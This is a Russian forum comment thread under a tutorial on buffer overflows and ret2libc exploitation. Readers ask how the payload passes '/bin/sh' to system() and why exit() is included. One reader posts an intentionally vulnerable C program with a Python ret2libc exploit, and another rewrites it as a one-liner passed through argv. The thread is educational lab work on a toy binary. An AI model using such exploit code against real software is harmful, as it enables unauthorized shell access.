Переполнение буфера и техника эксплуатации Ret2Libc - Изучение методов эксплуатации на примерах, часть 7

Lk1 · 08.05.2019

Отличный цикл статей)
из статьи не совсем понятно:
1) через пепеполнение буфера перезаписываем адрес возврата в стеке на адрес функции system (), но каким образом на вход функции попадает адрес строки /bin/sh, который мы просто положили в стек? По идеи после перезаписи eip будет выполнен system () без аргумента. Аргумент то остался в стеке по адресу &ret+4байта (exitAddr)
2) зачем мы включаем в эксплоит адрес функции exit?
Буду благодарен за разъяснения)

unicorn · 08.05.2019

1) Вызов system() в ассемблере:
mov [esp],0xdeadbeef ;ссылка на строку
call system()
2) Так эллегантней)). Во избежание ошибки (которая была бы после вызова system())

Lk1 · 09.05.2019

спасибо, но 1ый пункт все равно понять не могу - в стек ложится адрес exit потом сразу адрес шелла. Из твоего обьяснения выходит аргументом для system() будет сразу и то и то, что вообще не должно выполниться.
Проверил - код рабочий. Видимо я что то концептуального не понимаю.
Может кто нибудь на пальцах обьяснить почему в качестве аргумента для функции system берется строка, адрес который лежит в стеке после ret, а потом вызывается еще раз эта же функция, но берется следующий аргумент?

Ondrik8 · 11.05.2019

очень хороший цикл статей) если это все освоить, можно не плохо заработать! легально и нет)))

Lk1 сказал(а):
спасибо, но 1ый пункт все равно понять не могу - в стек ложится адрес exit потом сразу адрес шелла. Из твоего обьяснения выходит аргументом для system() будет сразу и то и то, что вообще не должно выполниться.
Проверил - код рабочий. Видимо я что то концептуального не понимаю.
Может кто нибудь на пальцах обьяснить почему в качестве аргумента для функции system берется строка, адрес который лежит в стеке после ret, а потом вызывается еще раз эта же функция, но берется следующий аргумент?

возможно это тебе поможет )) или это (на живом примере)

fuzzz · 15.05.2019

Lk1 сказал(а):
2) зачем мы включаем в эксплоит адрес функции exit?
Буду благодарен за разъяснения)

Если в место адреса положить к примеру
exitAddr = pack("I", 0xb7ec60c0)

4 байта мусора.

exitAddr = "AAAA"
Код тоже будет работать и мы тоже получим оболочку.
Но когда мы закроем оболочку Ctrl+D полученную через эксплойт, код поведет себя не стабильно и мы получим ошибку сегментации, программа попытается обратится к этому участку памяти.

Поэтому для стабильности работы эксплойта добавляется адрес exit() функции.

Про аргументы отпишу чуть позже...

term1nal · 22.11.2019

Добрый день. А с чем связано такое поведение GDB, что он показыает KIND in __gen_tempname? При том если ужать адреса поиска, то все нормально:

(gdb) find 0xb7fb6300, +9999999, "/bin/sh"
0xb7fb63bf
warning: Unable to access target memory at 0xb7fd9647, halting search.
1 pattern found.
(gdb) x/s 0xb7fb63bf
0xb7fb63bf: "/bin/sh"
(gdb)

fuzzz · 28.11.2019

term1nal сказал(а):
Добрый день. А с чем связано такое поведение GDB, что он показыает KIND in __gen_tempname? При том если ужать адреса поиска, то все нормально:

(gdb) find 0xb7fb6300, +9999999, "/bin/sh"
0xb7fb63bf
warning: Unable to access target memory at 0xb7fd9647, halting search.
1 pattern found.
(gdb) x/s 0xb7fb63bf
0xb7fb63bf: "/bin/sh"
(gdb)

Когда программа загружает под отладчиком адреса смещаются. Поэтому один и тот же адрес может показывать разные вещи. Скорее всего так.. А может быть я ошибаюсь. Но тут смещение точно играет роль.

Rizor · 12.12.2019

@fuzzz здравствуйте! У меня возникла проблема-не работает эксплоит хоть адреса и верные

Код:

root@reffy:/home/centurion# (python exploit.py ; cat) | ./vuln2
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
whoami
Segmentation fault
вот код-

#include <string.h>

void functionFunction(char *param, int p2, float p3)
{
    char local[64];

    strcpy(local, param);
}

int main(int argc, char** argv)
{
    functionFunction(argv[1], 42, 3.14);
}
вот эксплоит-
from struct import pack
eip = "A"*80
system = pack("I", 0xb7e44b40)
exit = pack("I", 0xb7e387f0)
shell = pack("I", 0xb7f678c8)
print eip + system + exit + shell

P.S. заранее спасибо!

fuzzz · 12.12.2019

Rizor сказал(а):
@fuzzz здравствуйте! У меня возникла проблема-не работает эксплоит хоть адреса и верные

root@reffy:/home/centurion# (python exploit.py ; cat) | ./vuln2
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
whoami
Segmentation fault
вот код-

#include <string.h>

void functionFunction(char *param, int p2, float p3)
{
char local[64];

strcpy(local, param);
}

int main(int argc, char** argv)
{
functionFunction(argv[1], 42, 3.14);
}
вот эксплоит-
from struct import pack
eip = "A"*80
system = pack("I", 0xb7e44b40)
exit = pack("I", 0xb7e387f0)
shell = pack("I", 0xb7f678c8)
print eip + system + exit + shell
P.S. заранее спасибо!

Ты бы хоть код в теги кидал, а то не очень выглядит. У тебя тут косяк в запуске эксплойта, в том что уязвимая программа работает через argv[1], тебе надо эксп не так запускать. А передавать его через аргумент.

Т.е.

Код:

./программа <твой payload>

Примерно так... Попробуй, должно работать...

Код:

./vuln `python -c "from struct import pack; eip='A'*80; system=pack('I', 0xb7e44b40); exit=pack('I', 0xb7e387f0); shell=pack('I', 0xb7f678c8); print eip + system + exit +shell"; cat`

Станислав Кац · 16.05.2023

При выполнении system() создаётся новый стековый фрейм. Когда он создаётся, вместо, то там, где раньше был адрес eip появляется ebp. Далее эта функция должна взять где-то аргумент - ebp+8. Так получается, что этот адрес падает туда, куда и была положена строка "/bin/sh".
В свою очередь exit() оказывается на месте ret.
В итоге функция выполняется успешно и завершается без ошибок.
Я так понял. Если где-то не прав, то прошу исправить)
Ссылка с объяснением: https://shellblade.net/files/docs/ret2libc.pdf

Переполнение буфера и техника эксплуатации Ret2Libc - Изучение методов эксплуатации на примерах, часть 7

Комментарии

Ещё по теме